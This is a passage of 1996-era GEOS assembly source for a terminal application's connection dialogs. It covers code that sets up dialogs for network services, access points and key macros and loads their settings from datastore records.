sequentially call ObjMessage ; now set these suckers usable mov bx, handle ConnectionConfirmTriggers mov si, offset ConnectionConfirmTriggers mov ax, MSG_GEN_SET_USABLE mov dl, VUM_DELAYED_VIA_APP_QUEUE call ObjMessage connection_confirm_call_dialog: ; NOTE: not sure if this will move just yet, but placing here for ; future adaptability ; mov ax, es:[IAPLDsToken] ; call DataStoreGetRecordCount ; put some ec code here to check against a carry set ; presuming that we will have a reasonable # of ; services... i.e. limited to 20... ; mov cx, ax ; set # of items ; mov bx, handle ConnectionConfirmAccessPointName ; mov si, offset ConnectionConfirmAccessPointName ; call ResetSetNumItems ; set text message usable ; mov bx, handle ConnectionConfirmTextField ; mov si, offset ConnectionConfirmTextField ; mov ax, MSG_GEN_SET_USABLE ; mov dl, VUM_DELAYED_VIA_APP_QUEUE ; call ObjMessage ; set network selection to point to current selection mov bx, handle ConnectionConfirmAccessPointName mov si, offset ConnectionConfirmAccessPointName mov cx, segment dgroup mov es, cx clr ch mov cl, es:[CurrentIAPLSelection] clr dx ; not indeterminate mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION call ObjMessage ; bring up the dialog mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage ; make sure network service is loaded up ; if state of network service selection is indeterminate, then don't ; set the data fields. ; now set the fields of the dialog box to show the current selection .leave ret ActivateConnectionConfirm endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateConnectionConfirm %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: initializes ui fields of dialog to fit state information CALLED BY: MSG_TERM_ACTIVATE_CONNECTION_CONFIRM PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: calls ActivateConnectionConfirm REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/20/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateConnectionConfirm method dynamic TermClass, MSG_TERM_ACTIVATE_CONNECTION_CONFIRM uses ax, cx, dx, bp .enter call ActivateConnectionConfirm .leave ret TTermActivateConnectionConfirm endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ActivateConnectionSetting %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets up appropriate children triggers and brings up connection confirm dialog. CALLED BY: TTermActivateConnectionConfirm PASS: none RETURN: none DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: checks to see if proper children are attached. If not, then detaches the other set of children and reattaches proper set. Note that this is working off the assumption that a set of children is always attached. This also sets the message text on the bottom of the dialog to be in-active. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/21/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ActivateConnectionSetting proc near uses ax, bx, cx, dx, si, di, bp .enter ; First check to see if the wrong set of triggers are on the tree. ; If so, set them unusable and detach them. mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov cx, handle ConnectionSettingTriggers mov dx, offset ConnectionSettingTriggers mov ax, MSG_GEN_FIND_CHILD mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage jnc connection_setting_call_dialog ; proper children in ; place, so just ; skip ahead and put ; dialog on. ; remove previous children ; First set them unusable mov bx, handle ConnectionConfirmTriggers mov si, offset ConnectionConfirmTriggers mov ax, MSG_GEN_SET_NOT_USABLE mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage ; now decapi-err detach them mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov cx, handle ConnectionConfirmTriggers mov dx, offset ConnectionConfirmTriggers mov bp, mask CCF_MARK_DIRTY ; must save to state mov ax, MSG_GEN_REMOVE_CHILD mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage ; set up the children mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov cx, handle ConnectionSettingTriggers mov dx, offset ConnectionSettingTriggers clr bp ; no frills mov ax, MSG_GEN_ADD_CHILD mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage ; now set these suckers usable mov bx, handle ConnectionSettingTriggers mov si, offset ConnectionSettingTriggers mov ax, MSG_GEN_SET_USABLE mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_CALL ; block so events occur sequentially call ObjMessage connection_setting_call_dialog: ; NOTE: not sure if this will move just yet, but placing here for ; future adaptability mov bx, segment dgroup mov es, bx mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_GET_RECORD_COUNT_ACTIVATE_CONNECTION_SETTING > ; affect change trigger mov bx, handle ConnectionSettingChangeButton mov si, offset ConnectionSettingChangeButton mov di, mask MF_CALL tst ax jnz usable_change_trigger ; no iapl, do not use change trigger mov ax, MSG_GEN_SET_NOT_ENABLED jmp continue_connection_set usable_change_trigger: mov ax, MSG_GEN_SET_ENABLED ; else can use continue_connection_set: push ax ; store message mov dl, VUM_DELAYED_VIA_APP_QUEUE call ObjMessage ; now using same message, set delete trigger pop ax ; restore message mov bx, handle DeleteButton mov si, offset DeleteButton mov dl, VUM_DELAYED_VIA_APP_QUEUE mov di, mask MF_CALL call ObjMessage ; presuming that we will have a reasonable # of ; services... i.e. limited to 20... ; mov cx, ax ; set # of items ; mov bx, handle ConnectionConfirmAccessPointName ; mov si, offset ConnectionConfirmAccessPointName ; call ResetSetNumItems ; if no selections set, then disable change button ;mov bx, handle ConnectionSettingChangeButton ;mov si, handle ConnectionSettingChangeButton ;mov di, mask MF_CALL ;mov dl, VUM_DELAYED_VIA_APP_QUEUE ;jcxz set_not_enable_activate_connection_setting ;mov ax, MSG_GEN_SET_ENABLED ; no items, so gray it out. ;jmp continue_activate_connection_setting ;set_not_enable_activate_connection_setting: ; mov ax, MSG_GEN_SET_NOT_ENABLED ; set button enabled ;continue_activate_connection_setting: ;call ObjMessage ; set text message un-usable ; mov bx, handle ConnectionConfirmTextField ; mov si, offset ConnectionConfirmTextField ; mov ax, MSG_GEN_SET_NOT_USABLE ; mov dl, VUM_DELAYED_VIA_APP_QUEUE ; call ObjMessage ; set network selection to point to current selection mov bx, handle ConnectionConfirmAccessPointName mov si, offset ConnectionConfirmAccessPointName mov cx, segment dgroup mov es, cx clr ch mov cl, es:[CurrentIAPLSelection] clr dx ; not indeterminate mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION call ObjMessage ; bring up the dialog mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage ; make sure network service is loaded up ; if state of network service selection is indeterminate, then don't ; set the data fields. ; now set the fields of the dialog box to show the current selection .leave ret ActivateConnectionSetting endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateConnectionSetting %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets the ConnectionConfirm dialog to make it look like the connection setting dialog by removing the old children, hiding the text field, and attaching the new children. It also initializes ui fields of dialog to fit state information. CALLED BY: MSG_TERM_ACTIVATE_CONNECTION_SETTING PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/20/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateConnectionSetting method dynamic TermClass, MSG_TERM_ACTIVATE_CONNECTION_SETTING uses ax, cx, dx, bp .enter call ActivateConnectionSetting .leave ret TTermActivateConnectionSetting endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ActivateNetworkSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets selection to current network service CALLED BY: TTermActivateConnectionConfirm PASS: none RETURN: none DESTROYED: di SIDE EFFECTS: PSEUDO CODE/STRATEGY: checks current network service, and then sets it to be the current selection in the dynamic list of dialog 3.4 REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/21/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ActivateNetworkSelection proc near mov cx, segment dgroup mov es, cx ; NOTE: not sure if this will move just yet, but placing here for ; future adaptability ; mov ax, es:[IAPLDsToken] ; call DataStoreGetRecordCount ; mov cx, ax ; set # of items ; mov bx, handle NetworkSelectionServicesList ; mov si, offset NetworkSelectionServicesList ; call ResetSetNumItems ; bring up the dialog mov bx, handle NetworkSelectionDialog mov si, offset NetworkSelectionDialog mov ax, MSG_GEN_INTERACTION_INITIATE clr di call ObjMessage ret ActivateNetworkSelection endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateNetworkSelectionChange %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: calls ActivateNetworkSelection without creating new record. CALLED BY: MSG_TERM_ACTIVATE_NETWORK_SELECTION_CHANGE PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: calls ActivateNetworkSelection, and also sets the current text item. Uses currently selected record entry, so selects that entry and places it into the record buffer. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/20/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateNetworkSelectionChange method dynamic TermClass, MSG_TERM_ACTIVATE_NETWORK_SELECTION_CHANGE uses ax, cx, dx, bp .enter ; Not a new record, so set flag appropriately mov es:[NewIAPLRecordFlag], INVALID ; mirroring the set network routines of above, will also reset the ; currently selected access point to the first one. ; mov es:[CurrentAccessPoint],0 ; Change mode, so grab name of current selection ; set the current text, if a selection exists ; grab the text mov ax, es:[IAPLDsToken] ; set datastore token mov cl, es:[CurrentIAPLSelection] clr ch clr dx ; load the IAPL record (choke point for loading IAPL record into ; record buffer) call DataStoreLoadRecordNum ; Load the record in. From now on, ; do not clear the IAPL buffer until ; entry back into the Connection ; dialogs via a cancel! EC < ERROR_C ERROR_LOAD_RECORD_ACTIVATE_NETWORK_SELECTION_CHANGE > ; set the current selection to selected service (from buffer) sub sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; allocate mov di, sp ; space on ; stack to ; save data ; +1 is to keep swat happy (even sp) mov ax, es:[IAPLDsToken] segmov es, ss, bx clr bx mov dl, IAPL_NETWORK_SERVICE_FIELD_ID mov cx, IAPL_NETWORK_SERVICE_FIELD_SIZE call DataStoreGetField EC < ERROR_C ERROR_GET_FIELD_ACTIVATE_NETWORK_SELECTION_CHANGE > mov {byte} cx, ss:[di] clr ch add sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; restore stack ; now call genItemgroup to set selection mov bx, handle NetworkSelectionServicesList mov si, offset NetworkSelectionServicesList clr di ; no message flags mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION call ObjMessage ; new spec requires that network ID and password fields be updated ; here clc ; clear NetworkID and Password fields only call ClearNetworkElementFields call UpdateNetworkIDPasswd call ActivateNetworkSelection .leave ret TTermActivateNetworkSelectionChange endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateNetworkSelectionNew %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: calls ActivateNetworkSelection and sets text item. CALLED BY: MSG_TERM_ACTIVATE_NETWORK_SELECTION_NEW PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: calls ActivateNetworkSelection, clears the current text item, and creates new IAPL entry in record buffer. REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/20/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateNetworkSelectionNew method dynamic TermClass, MSG_TERM_ACTIVATE_NETWORK_SELECTION_NEW uses ax, cx, dx, bp .enter ; New record, so set flag appropriately mov es:[NewIAPLRecordFlag], VALID ; mirroring the set network routines of above, will also reset the ; currently selected access point to the first one. mov es:[CurrentAccessPoint],0 call NewIAPLEntry ; check to see if 20 records, if not ; create & instantiate IAPL record. jc error_activate_network_selection_new ; new spec requires that network ID and password fields be updated ; here clc ; clear NetworkID and Password fields only call ClearNetworkElementFields call UpdateNetworkIDPasswd call ActivateNetworkSelection exit_activate_network_selection_new: .leave ret error_activate_network_selection_new: ; error occurred in NewIAPLEntry, so now just bring back old dialog mov bx, handle ConnectionConfirmDialog mov si, offset ConnectionConfirmDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage jmp exit_activate_network_selection_new TTermActivateNetworkSelectionNew endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitializeNetworkElement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: loads the proper set of access points for current record, and calls up network element dialog. Also sets networkID and network password fields. CALLED BY: TTermInitializeNetworkElement PASS: none RETURN: none DESTROYED: everything SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 11/18/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitializeNetworkElement proc near ; discard old access point if any ; But first check to see if access pt datastore is valid cmp es:[AccPtValidFlag], INVALID je continue_update_network_element ; if no access point ; datastore open, just ; continue. mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord ; the only permissible error ; here is to try to discard ; an empty buffer (ignored). jnc continue_update_network_element cmp ax, DSDE_RECORD_BUFFER_EMPTY je continue_update_network_element ERROR ERROR_DS_DISCARD_RECORD_INIT_NETWORK_ELT; error continue_update_network_element: ; get selection and load in the appropriate datastore mov bx, handle NetworkSelectionServicesList mov si, offset NetworkSelectionServicesList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjMessage ; set up argment to DataStoreSetField on stack push es, ax ; store dgroup and selection sub sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; + 1 since original ; field is odd sized. mov di, sp mov ss:[di], ax ; store selection ; set network selection mov ax, es:[IAPLDsToken] mov dl, IAPL_NETWORK_SERVICE_FIELD_ID mov cx, IAPL_NETWORK_SERVICE_FIELD_SIZE segmov es, ss, bx clr bx ; use field ID only call DataStoreSetField ; set the selection EC < ERROR_C ERROR_SET_FIELD_INIT_NETWORK_ELT > add sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ; restore stack pop es, ax ; restore dgroup and selection mov bx, ax ; call openservice to open the access point ; datastore for that service call OpenService ; Need to put # of access points in cx here mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_GET_RECORD_COUNT_NETWORK_ELT > mov cx, ax resize_list_network_element: ; resize the list mov bx, handle NetworkElementAccessPointList mov si, offset NetworkElementAccessPointList call ResetSetNumItems ; set current selection to CurrentAccessPoint mov cx, es:[CurrentAccessPoint] clr dx ; determinate mov bx, handle NetworkElementAccessPointList mov si, offset NetworkElementAccessPointList mov di, mask MF_CALL mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION call ObjMessage stc ; clear only the access point fields call ClearNetworkElementFields update_network_element_dialog: ; if no access points, don't load mov ax, es:[AccessPointDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_GET_RECORD_COUNT_NETWORK_ELT > tst ax jz no_access_points mov cx, es:[CurrentAccessPoint] clr dx mov ax, es:[AccessPointDsToken] call DataStoreLoadRecordNum EC < ERROR_C ERROR_DS_LOAD_RECORD_NUM_ACTIVATE_SET_KEY_MACRO > call UpdateNetworkElementFields call GetTerminalInfoAccPt ; get access point infomration mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord EC < ERROR_C ERROR_DS_DISCARD_RECORD_INIT_NETWORK_ELT > ; access points available, enable delete mov ax, MSG_GEN_SET_ENABLED jmp raise_network_element_dialog no_access_points: ; no access points, so fill in with default information mov es:[BSDMbyte], BSDM_DEFAULT mov es:[PFKbyte], PFK_DEFAULT mov es:[CTbyte], CT_DEFAULT ; no access points, so set delete unusable mov ax, MSG_GEN_SET_NOT_ENABLED raise_network_element_dialog: ; set usability of delete button mov bx, handle NetworkElementDeleteButton mov si, offset NetworkElementDeleteButton mov di, mask MF_CALL mov dl, VUM_DELAYED_VIA_APP_QUEUE call ObjMessage ; now bring up the network element dialog mov bx, handle NetworkElementDialog mov si, offset NetworkElementDialog clr di ; no flags mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage mov es:[NewAccPtRecordFlag], INVALID exit_intialize_network_element: ret InitializeNetworkElement endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermInitializeNetworkElement %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: loads the proper set of access points for current record, and calls up network element dialog. Also sets networkID and network password fields. CALLED BY: MSG_TERM_INITIALIZE_NETWORK_ELEMENT PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: di, si SIDE EFFECTS: PSEUDO CODE/STRATEGY: calls InitializeNetworkElement REVISION HISTORY: Name Date Description ---- ---- ----------- CEY 8/23/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermInitializeNetworkElement method dynamic TermClass, MSG_TERM_INITIALIZE_NETWORK_ELEMENT uses ax, cx, dx, bp .enter call InitializeNetworkElement .leave ret TTermInitializeNetworkElement endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateSetKeyMacro %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: calls update for 3.8, and brings up dialog 3.6 CALLED BY: MSG_TERM_ACTIVATE_SET_KEY_MACRO PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: used to cause update to 3.8 REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 8/30/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateSetKeyMacro method dynamic TermClass, MSG_TERM_ACTIVATE_SET_KEY_MACRO uses ax, cx, dx, bp .enter if ERROR_CHECK call IntegrityCheck endif ; ERROR_CHECK mov bx, handle SetKeyMacroDialog mov si, offset SetKeyMacroDialog clr di mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage .leave ret TTermActivateSetKeyMacro endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateSetTerminal %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: sets up fields of set terminal (dialog 3.7) and then activates the dialog. CALLED BY: MSG_TERM_ACTIVATE_SET_TERMINAL PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: bx, di, si SIDE EFFECTS: PSEUDO CODE/STRATEGY: calls UpdateSetTerminal then MSG_GEN_INTERACTION_INITIATES the set terminal dialog. Also calls update for dialog 3.9 (see termlogbook for rationale) REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 8/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateSetTerminal method dynamic TermClass, MSG_TERM_ACTIVATE_SET_TERMINAL uses ax, cx, dx, bp .enter call UpdateSetTerminal ; update it to current info in ; datastore. ; by default gray out change settings (for user's safety) mov ax, MSG_GEN_SET_NOT_ENABLED mov dl, VUM_DELAYED_VIA_APP_QUEUE mov bx, handle ProtocolSettingsContent mov si, offset ProtocolSettingsContent mov di, mask MF_CALL call ObjMessage ; update ; now remove check from change settings check box mov ax, MSG_GEN_BOOLEAN_GROUP_SET_GROUP_STATE clr cx, dx ; set off, and no booleans indeterminate mov bx, handle ChangeSettingsGroup mov si, offset ChangeSettingsGroup mov di, mask MF_CALL call ObjMessage ; update ; now bring up the dialog mov ax, MSG_GEN_INTERACTION_INITIATE mov bx, handle ProtocolBox mov si, offset ProtocolBox clr di ; no flags call ObjMessage .leave ret TTermActivateSetTerminal endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% TTermActivateConfirmSave %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: calls update for confirm save data details, then brings up dialog 3.8 ( confirm save dialog ). CALLED BY: MSG_TERM_ACTIVATE_CONFIRM_SAVE PASS: *ds:si = TermClass object ds:di = TermClass instance data ds:bx = TermClass object (same as *ds:si) es = segment of TermClass ax = message # RETURN: DESTROYED: SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 10/ 8/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ TTermActivateConfirmSave method dynamic TermClass, MSG_TERM_ACTIVATE_CONFIRM_SAVE uses ax, cx, dx, bp .enter ; first check all fields to see if valid call CheckNetworkEltFields jnc check_field_mod_activate_confirm_save ; error has occured, restart Network Element box and exit. ; call InitializeNetworkElement mov bx, handle NetworkElementDialog mov si, offset NetworkElementDialog mov di, mask MF_CALL mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage jmp exit_activate_confirm_save ; This is the new choke point for loading the access point into ; memory. ; check to see if either the access point field or telephone field ; is modified. If so, then create a new buffer and save records in ; there, else load in appropriate access point ; First check to see if one has already been loaded. If so, just ; continue on. check_field_mod_activate_confirm_save: cmp es:[NewAccPtRecordFlag], VALID je continue_activate_confirm_save mov bx, handle NetworkElementAccessPoint mov si, offset NetworkElementAccessPoint mov di, mask MF_CALL mov ax, MSG_GEN_TEXT_IS_MODIFIED call ObjMessage jc create_new_acc_pt mov bx, handle NetworkElementTelephoneNumber mov si, offset NetworkElementTelephoneNumber mov di, mask MF_CALL mov ax, MSG_GEN_TEXT_IS_MODIFIED call ObjMessage jc create_new_acc_pt ; load current existing access point mov ax, es:[AccessPointDsToken] clr dx ; not that many records mov cx, es:[CurrentAccessPoint] call DataStoreLoadRecordNum EC < ERROR_C ERROR_DS_LOAD_RECORD_NUM_CONFIRM_SAVE_DATA_FIELDS > jmp continue_activate_confirm_save create_new_acc_pt: ; discard old record, if any mov ax, es:[AccessPointDsToken] call DataStoreDiscardRecord ; create new access point record call CreateNewAccPtRecord ; set flag mov es:[NewAccPtRecordFlag], VALID continue_activate_confirm_save: call SetNetworkRecords ; set record info to match network ; element dialog text. ; now call to update state information call UpdateConfirmSaveDataFields call UpdateConfirmSaveDetails mov bx, handle ConfirmSaveDataDialog mov si, offset ConfirmSaveDataDialog clr di mov ax, MSG_GEN_INTERACTION_INITIATE call ObjMessage exit_activate_confirm_save: .leave ret TTermActivateConfirmSave endm ; ---------------------------------------------------------------------- ; ; dialog update routines ; ; ---------------------------------------------------------------------- COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% UpdateConnectionDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: updates the fields in the connection confirm/setting dialog. CALLED BY: PASS: none RETURN: none DESTROYED: none SIDE EFFECTS: PSEUDO CODE/STRATEGY: Updates fields of connection dialog with information currently in the IAPL and AccessPoint records. Presumes that a record is loaded from IAPL datastore. Also loads the network password and length into their respective vars (to be used in connecting). REVISION HISTORY: Name Date Description ---- ---- ----------- eyeh 9/ 9/96 Initial version eyeh 9/27/96 Removed calls to StringBuffer. Gets field ptrs instead. Updates with buffer info instead of loading it up. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ UpdateConnectionDialog proc near uses ax,bx,cx,dx,si,di,bp .enter mov bx, segment dgroup mov es, bx mov es:[CurrentAccessPoint], 0 ; default focus for access ; point list. mov ax, es:[IAPLDsToken] call DataStoreGetRecordCount EC < ERROR_C ERROR_COUNT_RECORD_UPDATE_CONNECTION_DIALOG > ; set the # of items in the dynamic list mov cx, ax ; set # of items mov bx, handle ConnectionConfirmAccessPointName mov si, offset ConnectionConfirmAccessPointName call ResetSetNumItems tst cx jnz update_connection_dialog call ClearConnectionDialogFields ; clear fields and exit jmp exit_update_connection_dialog update_connection_dialog: ; get current network service ; allocate space on stack first sub sp, IAPL_NETWORK_SERVICE_FIELD_SIZE +1 ; +1 = keep swat ; happy mov ax, es:[IAPLDsToken] mov dl, IAPL_NETWORK_SERVICE_FIELD_ID mov cx, IAPL_NETWORK_SERVICE_FIELD_SIZE segmov es, ss, bx clr bx mov di, sp ; set string offset call DataStoreGetField EC < ERROR_C ERROR_DS_GET_FIELD_UPDATE_CONNECTION_DIALOG > mov {byte} bl, ss:[di] add sp, IAPL_NETWORK_SERVICE_FIELD_SIZE + 1 ;restore stack ; +1 = keep swat ; happy ; update the text fields ; network service shl bx mov di, bx ; set offset into service name table mov bp, cs:[networkServiceNameTable][di] mov bx, handle ConnectionConfirmNetworkName mov si, offset ConnectionConfirmNetworkName clr cx ; null terminated mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov dx, cs ; restore segment call ObjMessage ; network ID mov ax, es:[IAPLDsToken] call DataStoreLockRecord EC < ERROR_C ERROR_LOCK_RECORD_UPDATE_CONNECTION_DIALOG > mov dx, IAPL_NETWORK_ID_FIELD_ID call DataStoreGetFieldPtr EC < ERROR_C ERROR_GET_FIELD_PTR_UPDATE_CONNECTION_DIALOG > if DBCS_PCGEOS shr cx endif ; DBCS_PCGEOS mov dx, ds ; point to string mov bp, di mov bx, handle ConnectionConfirmNetworkID mov si, offset ConnectionConfirmNetworkID mov di, mask MF_CALL mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR call ObjMessage mov ax, es:[IAPLDsToken] call DataStoreUnlockRecord ; First get network password length mov ax, es:[IAPLDsToken] clr bx mov {byte} dl, IAPL_NETWORK_PASSWORD_FIELD_ID call DataStoreGetFieldSize EC < ERROR_C ERROR_DS_GET_FIELD_SIZE_UPDATE_CONNECTION_DIALOG > mov cx, ax ; store size in cx DBCS < shr ax ; store char length > mov es:[NetworkPasswordLength], ax ; store char length ; Store the network password and length ; Have to store it somewhere, since display of password is blotted ; out by '*' mov ax, es:[IAPLDsToken] clr bx ; use field ID mov {byte} dl, IAPL_NETWORK_PASSWORD_FIELD_ID mov di, offset NetworkPassword call DataStoreGetField ; get the information EC < ERROR_C 